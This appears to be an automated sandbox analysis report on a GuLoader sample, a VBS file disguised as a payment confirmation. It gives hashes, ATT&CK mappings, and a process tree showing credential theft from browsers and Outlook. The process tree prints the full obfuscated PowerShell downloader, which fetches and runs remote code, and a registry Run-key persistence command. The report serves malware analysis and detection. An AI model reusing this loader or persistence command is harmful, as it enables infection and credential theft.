guloader | 8f1e0b157cb725222b03027e45dbe39d0b535f70349bd5b08f1e36ded2100320

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 10:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment_Confirmation_Advice_150000-0000837849_pdf.vbs
Size 137KB
Sample240822-mehtfa1fph
SHA256 2e011cca59e4ed2bf6827410c362224bf8d6633fb374e0b5348ba37e0c7109ed
MD5 99467417502c7520da2f7244c0f71650
SHA1 65e68cf34cbe632aea2af051e2d0e825a68cc19a
SHA512 ecce0efcb1f0af825510df4eedd91e7b46e4bb5e50bc4eeddf781fd645a0c9f793c4b84541b4047dbe95c407ddd0cae4750613173903872d19bf6f0b1e6d176e
SSDEEP 3072:1jGO63YDSdYB51Gy/ABuIWHwxoH0sHXaHb0bIkNTEx29OjmA1TbWUUC:9GO63WSdYB51Gy/quNHwaHdHqHb0bIkm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access discovery downloader persistence stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3920-67-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3100-69-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4280-68-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4280-68-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3100-69-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2900	WScript.exe
8	2568	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\\Strejfendes114\\').Polyodontal;%Sljfen% ($Hjemmesko184)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
3548	wab.exe
3548	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3064	powershell.exe
3548	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3064 set thread context of 3548	3064	powershell.exe	107
PID 3548 set thread context of 3100	3548	wab.exe	115
PID 3548 set thread context of 4280	3548	wab.exe	117
PID 3548 set thread context of 3920	3548	wab.exe	118

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4936	reg.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2568	powershell.exe
2568	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3064	powershell.exe
3920	wab.exe
3100	wab.exe
3100	wab.exe
3920	wab.exe
3100	wab.exe
3100	wab.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
3064	powershell.exe
3548	wab.exe
3548	wab.exe
3548	wab.exe
3548	wab.exe
3548	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	3920	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3548	wab.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2568	2900	WScript.exe	93
PID 2900 wrote to memory of 2568	2900	WScript.exe	93
PID 2568 wrote to memory of 2504	2568	powershell.exe	96
PID 2568 wrote to memory of 2504	2568	powershell.exe	96
PID 2568 wrote to memory of 3064	2568	powershell.exe	102
PID 2568 wrote to memory of 3064	2568	powershell.exe	102
PID 2568 wrote to memory of 3064	2568	powershell.exe	102
PID 3064 wrote to memory of 4304	3064	powershell.exe	104
PID 3064 wrote to memory of 4304	3064	powershell.exe	104
PID 3064 wrote to memory of 4304	3064	powershell.exe	104
PID 3064 wrote to memory of 3548	3064	powershell.exe	107
PID 3064 wrote to memory of 3548	3064	powershell.exe	107
PID 3064 wrote to memory of 3548	3064	powershell.exe	107
PID 3064 wrote to memory of 3548	3064	powershell.exe	107
PID 3064 wrote to memory of 3548	3064	powershell.exe	107
PID 3548 wrote to memory of 3848	3548	wab.exe	108
PID 3548 wrote to memory of 3848	3548	wab.exe	108
PID 3548 wrote to memory of 3848	3548	wab.exe	108
PID 3848 wrote to memory of 4936	3848	cmd.exe	110
PID 3848 wrote to memory of 4936	3848	cmd.exe	110
PID 3848 wrote to memory of 4936	3848	cmd.exe	110
PID 3548 wrote to memory of 1956	3548	wab.exe	114
PID 3548 wrote to memory of 1956	3548	wab.exe	114
PID 3548 wrote to memory of 1956	3548	wab.exe	114
PID 3548 wrote to memory of 3100	3548	wab.exe	115
PID 3548 wrote to memory of 3100	3548	wab.exe	115
PID 3548 wrote to memory of 3100	3548	wab.exe	115
PID 3548 wrote to memory of 3100	3548	wab.exe	115
PID 3548 wrote to memory of 2388	3548	wab.exe	116
PID 3548 wrote to memory of 2388	3548	wab.exe	116
PID 3548 wrote to memory of 2388	3548	wab.exe	116
PID 3548 wrote to memory of 4280	3548	wab.exe	117
PID 3548 wrote to memory of 4280	3548	wab.exe	117
PID 3548 wrote to memory of 4280	3548	wab.exe	117
PID 3548 wrote to memory of 4280	3548	wab.exe	117
PID 3548 wrote to memory of 3920	3548	wab.exe	118
PID 3548 wrote to memory of 3920	3548	wab.exe	118
PID 3548 wrote to memory of 3920	3548	wab.exe	118
PID 3548 wrote to memory of 3920	3548	wab.exe	118

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Confirmation_Advice_150000-0000837849_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Betonklods82='SUBsTR';$Fredsvennens++;}$Betonklods82+='ing';Function Inditer($Forsrgelseskommunerne){$Prossed=$Forsrgelseskommunerne.Length-$Fredsvennens;For( $Cykelbuddes=2;$Cykelbuddes -lt $Prossed;$Cykelbuddes+=3){$Bondmanship+=$Forsrgelseskommunerne.$Betonklods82.'Invoke'( $Cykelbuddes, $Fredsvennens);}$Bondmanship;}function Befleaed($Matutine){ . ($Bihulen) ($Matutine);}$jordskorpen=Inditer 'DrMProUnzStiD lShlMaaPe/st5 P.Pr0J Be(SuWA.iR nAad ,oA wCosUp t.NScTWa T1R.0Te. o0To;Af SwW MiFinHy6 u4I,; U Six i6b 4Sa;St RdrUlvRo:Sh1 S2Ex1 P. F0un)Ay SG eeT cUnk To.e/Sn2T.0.a1Le0Tr0Fo1.t0Pa1S, ,oF iInrTyeCof,po xPa/.o1Vi2 B1Pr.An0.t ';$Smrrebrdsbutikker=Inditer 'A,U asReeT r T-TuALagB eHunUntPa ';$Countenanced=Inditer 'Egh .tPit,spOpsTi:As/mi/ .sE e ,rG vPrr k-SijU,kEftS..Ovc Jo .mNo/.lLAdoPeiSctSteBlrSt.MeaEkfolmAr>jehDetBrtN,pF.sJo:Br/Ve/.ov roWii mn Se eab s .aMa.BirAuo o/Mec.roPlnKrtB eUnnIot,os.n/SyLRooChi.jtSleBor ,.S,aRufI mPr ';$Mucilages=Inditer 'He>Te ';$Bihulen=Inditer ' iM.e Tx c ';$Pikparaders='Besid';$Programfunktioner = Inditer ' .eS cSuhC oIn An%SkaPopS,p Ddoxa,kt,vaHs% \A,TU rkllvabF e prskeInnObsS..VeDRea BtUn Ne&,a& U ve,nc HhMioSj AftB ';Befleaed (Inditer 'Fa$DigOvlPhoScb aaM lP,:TaMHva Mn AgPra.hl .=G,(Brc KmBadN Om/.ocC, Sn$OvPUnrU,oUrgDerDia,emdifUduL,n kDotSki eoT.nAfeKerBo)Sm ');Befleaed (Inditer 'Va$ Mg NlM oH,bNoaSelA.: uG l Vi,bmFetBr=Sk$ sCI,oLuu nKatToeEfnE a .n Pc MeR,dU.. lsAspHal,eiTotBa( F$ uMCruPicFoi l aTrg.oe AsDr)H. ');Befleaed (Inditer 'Le[S.NS eRet ,.,oSNoeDer ,vE i BcGheSuP,aoPhi Tn WtA.MMea ,nS aMig eSpr S]Cr:Ga:S.SUde.ocWou irF,iTet,eyGrPPar ooSttS.o,ycS oT,l T Ru=Ch H [PhN .eKatNo.SaS,ae FcBeuVar.aiH,t .y .PFor So .tSooDec FoN,lPoTFyy Wp.fe B]Sp:Id:D,TT,l .sSt1Ba2De ');$Countenanced=$Glimt[0];$Besttelsernes= (Inditer ' M$GugAmlSnoPab,na LlUd:piAGrkDes ii.en ajC.aS.sRa1De0af=OeNU,eSpwD.- KOI b,ujSle,acB t . .uS.iy As,etCaeLemU..SlNPoe .tka.FaWHoe.ebGlCBolEviCae.anAft');$Besttelsernes+=$Mangal[1];Befleaed ($Besttelsernes);Befleaed (Inditer ' .$guA Kk SsVei On.njOsa,ns.a1 .0.i.KaH FeMiaHod.ae.nr,mspa[ ,$GaS.emRerDer reunbOsr AdHjsEfb ZuAftViiSckRekVee,orHo]El= P$ Gj oHar ddSvsLrkH oUlr,npAfe.rnRi ');$masticatories=Inditer 'mi$UdAMekU,sNyi AnUnjReaHos S1H 0Te.ApDDio.awDrn SlFooEpa,vdGeF siP.lNoe o(Mo$F.CCoo muStnPitKaeL nWeaRen IcV,e edbe,St$t.M.xeAklSyl.ke.amScsOutSkaSvdGle Br lnLuepos,o)Ti ';$Mellemstadernes=$Mangal[0];Befleaed (Inditer ' U$UrgL lSpoasb.aaQ.lI :ShEP,p ah .e udL r.ea cN,e eafoe.o= B(R,T FeM.sCot.o-VeP,laD t EhKu Da$ BMMueTrlPolA,eInm PsTatBra md eTrr,dnB ecosAf)M. ');while (!$Ephedraceae) {Befleaed (Inditer ',n$ g lSloA.bAnap lKo:AlPL,rFaeria HcRet,ni .v ciVatPay,u=G $ GtFer Pu deo ') ;Befleaed $masticatories;Befleaed (Inditer 'FoS.ot Ta,nrS t,g-o.SDil.peBeeElpSy Br4,n ');Befleaed (Inditer 'Co$A gPalAro .bS.a Dl.h:TrEHopGyh Se .dInrlra.hcTue aUneKe=Pa(KeT eHasGet a-MePR.aSkt.chFi Be$,eM.eeCol PlBoeUnmResSatNoaKad echrAknS eFasTa) s ') ;Befleaed (Inditer ' y$A g FlO.o ibObaMilUn:UlpKrhSoa Pc DiJodUni naInl .eSuske=Su$Trg SlVioDobBra ,l .:OpL ,o .vTefBoo nrChsP l.aaF.gPeeTynChe G+ J+vi%Wr$GeGHil.riLfm CtI.. ,cenoSeu,enC,tba ') ;$Countenanced=$Glimt[$phacidiales];}$Mowrah=359146;$Hippometer30=27660;Befleaed (Inditer 'tr$ og.ulFjo,fbVaaB,l,n:SkK neTrmc iCaiLin edDaufosL.t Br iiLaeE.nPr Ta= e ,eG Ae ,t -.aCProCrn pt Se.cnSutG u$BaMHoeMolI.l,sedrm ,sTitUda,jdPhe HrCanReeM sOw ');Befleaed (Inditer 'No$W g.ql coC,bmoaP.lNa: FAR.dKaa.pmTro k2Su2 D6,k .i=Ol Ng[ChS Kyfas St,oeKvmEg.G.C .oWonNevCoe rH.tLe] R:Op:UnFC rSnoE mA.BLya OsU,eTr6Mo4SmSfytHurBli .n SgUn(Af$B K,ae .m .iFuiSpnchdtru SsVat HrPeiAfeHanP )De ');Befleaed (Inditer 'Tu$ ogU l Co bA aHvlNe: LD .i Os KcIneSkrS.pK,i.ebMal eeRinUkeResA sIn G,=Vi Sc[FoSJuy.as ,tReeN mB,.UvTSleTrxS.tal.TiE ,n,ycE,o.edU i nTeg ,]Pr: S:StAPrSj,CReIAlIIm.U,G SeLotTiSB,t.erUdiOvnCag E(Sa$.aA.nd UaSam RoCo2S.2T,6E.).e ');Befleaed (Inditer 'Ge$HogB,l .o Eb,raSclF :W,FDeo SdPebsooprl pdBefToo ,l .kJge.atTh2Jo5 .5To=Tr$ fDDiiMosSac CeHir.epF,iA.bCalChe RnCaeSks,osLa.Dmsu.uFabS s Ct TrHei n sgNo( B$ FM .oB wIsr ra AhP.,Eu$BeHAai rp GpAtoAfmkueSutMee orTr3Un0Ar)A. ');Befleaed $Fodboldfolket255;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trlberens.Dat && echo t"
    3⤵
    PID:2504
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Betonklods82='SUBsTR';$Fredsvennens++;}$Betonklods82+='ing';Function Inditer($Forsrgelseskommunerne){$Prossed=$Forsrgelseskommunerne.Length-$Fredsvennens;For( $Cykelbuddes=2;$Cykelbuddes -lt $Prossed;$Cykelbuddes+=3){$Bondmanship+=$Forsrgelseskommunerne.$Betonklods82.'Invoke'( $Cykelbuddes, $Fredsvennens);}$Bondmanship;}function Befleaed($Matutine){ . ($Bihulen) ($Matutine);}$jordskorpen=Inditer 'DrMProUnzStiD lShlMaaPe/st5 P.Pr0J Be(SuWA.iR nAad ,oA wCosUp t.NScTWa T1R.0Te. o0To;Af SwW MiFinHy6 u4I,; U Six i6b 4Sa;St RdrUlvRo:Sh1 S2Ex1 P. F0un)Ay SG eeT cUnk To.e/Sn2T.0.a1Le0Tr0Fo1.t0Pa1S, ,oF iInrTyeCof,po xPa/.o1Vi2 B1Pr.An0.t ';$Smrrebrdsbutikker=Inditer 'A,U asReeT r T-TuALagB eHunUntPa ';$Countenanced=Inditer 'Egh .tPit,spOpsTi:As/mi/ .sE e ,rG vPrr k-SijU,kEftS..Ovc Jo .mNo/.lLAdoPeiSctSteBlrSt.MeaEkfolmAr>jehDetBrtN,pF.sJo:Br/Ve/.ov roWii mn Se eab s .aMa.BirAuo o/Mec.roPlnKrtB eUnnIot,os.n/SyLRooChi.jtSleBor ,.S,aRufI mPr ';$Mucilages=Inditer 'He>Te ';$Bihulen=Inditer ' iM.e Tx c ';$Pikparaders='Besid';$Programfunktioner = Inditer ' .eS cSuhC oIn An%SkaPopS,p Ddoxa,kt,vaHs% \A,TU rkllvabF e prskeInnObsS..VeDRea BtUn Ne&,a& U ve,nc HhMioSj AftB ';Befleaed (Inditer 'Fa$DigOvlPhoScb aaM lP,:TaMHva Mn AgPra.hl .=G,(Brc KmBadN Om/.ocC, Sn$OvPUnrU,oUrgDerDia,emdifUduL,n kDotSki eoT.nAfeKerBo)Sm ');Befleaed (Inditer 'Va$ Mg NlM oH,bNoaSelA.: uG l Vi,bmFetBr=Sk$ sCI,oLuu nKatToeEfnE a .n Pc MeR,dU.. lsAspHal,eiTotBa( F$ uMCruPicFoi l aTrg.oe AsDr)H. ');Befleaed (Inditer 'Le[S.NS eRet ,.,oSNoeDer ,vE i BcGheSuP,aoPhi Tn WtA.MMea ,nS aMig eSpr S]Cr:Ga:S.SUde.ocWou irF,iTet,eyGrPPar ooSttS.o,ycS oT,l T Ru=Ch H [PhN .eKatNo.SaS,ae FcBeuVar.aiH,t .y .PFor So .tSooDec FoN,lPoTFyy Wp.fe B]Sp:Id:D,TT,l .sSt1Ba2De ');$Countenanced=$Glimt[0];$Besttelsernes= (Inditer ' M$GugAmlSnoPab,na LlUd:piAGrkDes ii.en ajC.aS.sRa1De0af=OeNU,eSpwD.- KOI b,ujSle,acB t . .uS.iy As,etCaeLemU..SlNPoe .tka.FaWHoe.ebGlCBolEviCae.anAft');$Besttelsernes+=$Mangal[1];Befleaed ($Besttelsernes);Befleaed (Inditer ' .$guA Kk SsVei On.njOsa,ns.a1 .0.i.KaH FeMiaHod.ae.nr,mspa[ ,$GaS.emRerDer reunbOsr AdHjsEfb ZuAftViiSckRekVee,orHo]El= P$ Gj oHar ddSvsLrkH oUlr,npAfe.rnRi ');$masticatories=Inditer 'mi$UdAMekU,sNyi AnUnjReaHos S1H 0Te.ApDDio.awDrn SlFooEpa,vdGeF siP.lNoe o(Mo$F.CCoo muStnPitKaeL nWeaRen IcV,e edbe,St$t.M.xeAklSyl.ke.amScsOutSkaSvdGle Br lnLuepos,o)Ti ';$Mellemstadernes=$Mangal[0];Befleaed (Inditer ' U$UrgL lSpoasb.aaQ.lI :ShEP,p ah .e udL r.ea cN,e eafoe.o= B(R,T FeM.sCot.o-VeP,laD t EhKu Da$ BMMueTrlPolA,eInm PsTatBra md eTrr,dnB ecosAf)M. ');while (!$Ephedraceae) {Befleaed (Inditer ',n$ g lSloA.bAnap lKo:AlPL,rFaeria HcRet,ni .v ciVatPay,u=G $ GtFer Pu deo ') ;Befleaed $masticatories;Befleaed (Inditer 'FoS.ot Ta,nrS t,g-o.SDil.peBeeElpSy Br4,n ');Befleaed (Inditer 'Co$A gPalAro .bS.a Dl.h:TrEHopGyh Se .dInrlra.hcTue aUneKe=Pa(KeT eHasGet a-MePR.aSkt.chFi Be$,eM.eeCol PlBoeUnmResSatNoaKad echrAknS eFasTa) s ') ;Befleaed (Inditer ' y$A g FlO.o ibObaMilUn:UlpKrhSoa Pc DiJodUni naInl .eSuske=Su$Trg SlVioDobBra ,l .:OpL ,o .vTefBoo nrChsP l.aaF.gPeeTynChe G+ J+vi%Wr$GeGHil.riLfm CtI.. ,cenoSeu,enC,tba ') ;$Countenanced=$Glimt[$phacidiales];}$Mowrah=359146;$Hippometer30=27660;Befleaed (Inditer 'tr$ og.ulFjo,fbVaaB,l,n:SkK neTrmc iCaiLin edDaufosL.t Br iiLaeE.nPr Ta= e ,eG Ae ,t -.aCProCrn pt Se.cnSutG u$BaMHoeMolI.l,sedrm ,sTitUda,jdPhe HrCanReeM sOw ');Befleaed (Inditer 'No$W g.ql coC,bmoaP.lNa: FAR.dKaa.pmTro k2Su2 D6,k .i=Ol Ng[ChS Kyfas St,oeKvmEg.G.C .oWonNevCoe rH.tLe] R:Op:UnFC rSnoE mA.BLya OsU,eTr6Mo4SmSfytHurBli .n SgUn(Af$B K,ae .m .iFuiSpnchdtru SsVat HrPeiAfeHanP )De ');Befleaed (Inditer 'Tu$ ogU l Co bA aHvlNe: LD .i Os KcIneSkrS.pK,i.ebMal eeRinUkeResA sIn G,=Vi Sc[FoSJuy.as ,tReeN mB,.UvTSleTrxS.tal.TiE ,n,ycE,o.edU i nTeg ,]Pr: S:StAPrSj,CReIAlIIm.U,G SeLotTiSB,t.erUdiOvnCag E(Sa$.aA.nd UaSam RoCo2S.2T,6E.).e ');Befleaed (Inditer 'Ge$HogB,l .o Eb,raSclF :W,FDeo SdPebsooprl pdBefToo ,l .kJge.atTh2Jo5 .5To=Tr$ fDDiiMosSac CeHir.epF,iA.bCalChe RnCaeSks,osLa.Dmsu.uFabS s Ct TrHei n sgNo( B$ FM .oB wIsr ra AhP.,Eu$BeHAai rp GpAtoAfmkueSutMee orTr3Un0Ar)A. ');Befleaed $Fodboldfolket255;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trlberens.Dat && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4304
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3548
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\Strejfendes114\').Polyodontal;%Sljfen% ($Hjemmesko184)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3848
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\Strejfendes114\').Polyodontal;%Sljfen% ($Hjemmesko184)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4936
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vlcxnkxvmhhaumzuirdrzlebn"
        5⤵
        
        PID:1956
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vlcxnkxvmhhaumzuirdrzlebn"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3100
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ffhindhxapzfxavyrcytcxqsonsl"
        5⤵
        
        PID:2388
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ffhindhxapzfxavyrcytcxqsonsl"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:4280
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ihvaovsqoyrrhgjcankunclbxtkuywi"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3920

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4336,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=3948 /prefetch:8
1⤵
PID:3948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 184B
SHA256 cc34578d0b6e09dc5990bbdd2f5e9f35dec2294db1e6a7e7b2775dd9349bfb1a
MD5 0d9b4369ba782c1108351555485186fb
SHA1 2ccacb1374be507efce10917a864199ad1eb3f6a
SHA512 01d96c0298a9153da10b0d301e972acfa49fe033a291b12e1d0039d812fb1cdb02b0df859add26b5a7c773523b12d48f42d88b6252428975a5b4fdeba5e31649
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_0fqluzs5.rcd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0fqluzs5.rcd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

vlcxnkxvmhhaumzuirdrzlebn

Path C:\Users\Admin\AppData\Local\Temp\vlcxnkxvmhhaumzuirdrzlebn
Size 4KB
SHA256 e384f4d46587646c6e0f9d2ee90b7bc57b49cea936b37cf8ab81ef3c4ce468ac
MD5 cda83eba5a004554ccdc061fd3df499c
SHA1 58ff2ecb9d47be10335e104896c87c62dc328523
SHA512 f55ce20f0cf8b603fad765b889607f967c22d377fa4ac417ba1309d0aced9231e197bb4107d1c92bb99f51c04cc68ce26148727a8b694886710100c01f3de597
SSDEEP 48:wvvv0+xfvvc+xfdvv0+xBvv0+xakvv0+7:mvbxvjp1vbPvbbvb7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Trlberens.Dat

Path C:\Users\Admin\AppData\Roaming\Trlberens.Dat
Size 503KB
SHA256 75f2803d0e7e46dba622a5aa1d006d2c9eb691ac6205d454cbb6dd6ee144c35c
MD5 94ecddb2c8d3744849348f9283bc49bf
SHA1 2c8914adac132f323c52cd2328d136ad182144ed
SHA512 ad7b84e2869078379e23f8e61d08df51eddd95f7a6a692c51893d2d864c49b8b579bf2b73e56e8b672d0f0a9a95dbc005d76360c19e1b1e979092af6ca7913b7
SSDEEP 6144:rmsfzUqB9GHoEHgFwuu+u6o6KxhGC2Z7OKFnRR9vDDD7txpNzYXM8bxPCxuej:rmsf390oEg9u6ohxqRVn9xoc8JCx5
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2568-36-0x00007FF836E13000-0x00007FF836E15000-memory.dmp

Download

memory/2568-10-0x000001C00BD60000-0x000001C00BD82000-memory.dmp

Download

memory/2568-15-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Download

memory/2568-16-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Download

memory/2568-55-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Download

memory/2568-42-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Download

memory/2568-4-0x00007FF836E13000-0x00007FF836E15000-memory.dmp

Download

memory/3064-41-0x0000000008180000-0x0000000008724000-memory.dmp

Download

memory/3064-33-0x0000000005C70000-0x0000000005FC4000-memory.dmp

Download

memory/3064-34-0x0000000006170000-0x000000000618E000-memory.dmp

Download

memory/3064-37-0x0000000007B00000-0x000000000817A000-memory.dmp

Download

memory/3064-38-0x0000000006700000-0x000000000671A000-memory.dmp

Download

memory/3064-39-0x0000000007480000-0x0000000007516000-memory.dmp

Download

memory/3064-40-0x0000000007180000-0x00000000071A2000-memory.dmp

Download

memory/3064-20-0x00000000052D0000-0x00000000058F8000-memory.dmp

Download

memory/3064-23-0x0000000005B00000-0x0000000005B66000-memory.dmp

Download

memory/3064-22-0x00000000059A0000-0x0000000005A06000-memory.dmp

Download

memory/3064-44-0x0000000008730000-0x00000000090D8000-memory.dmp

Download

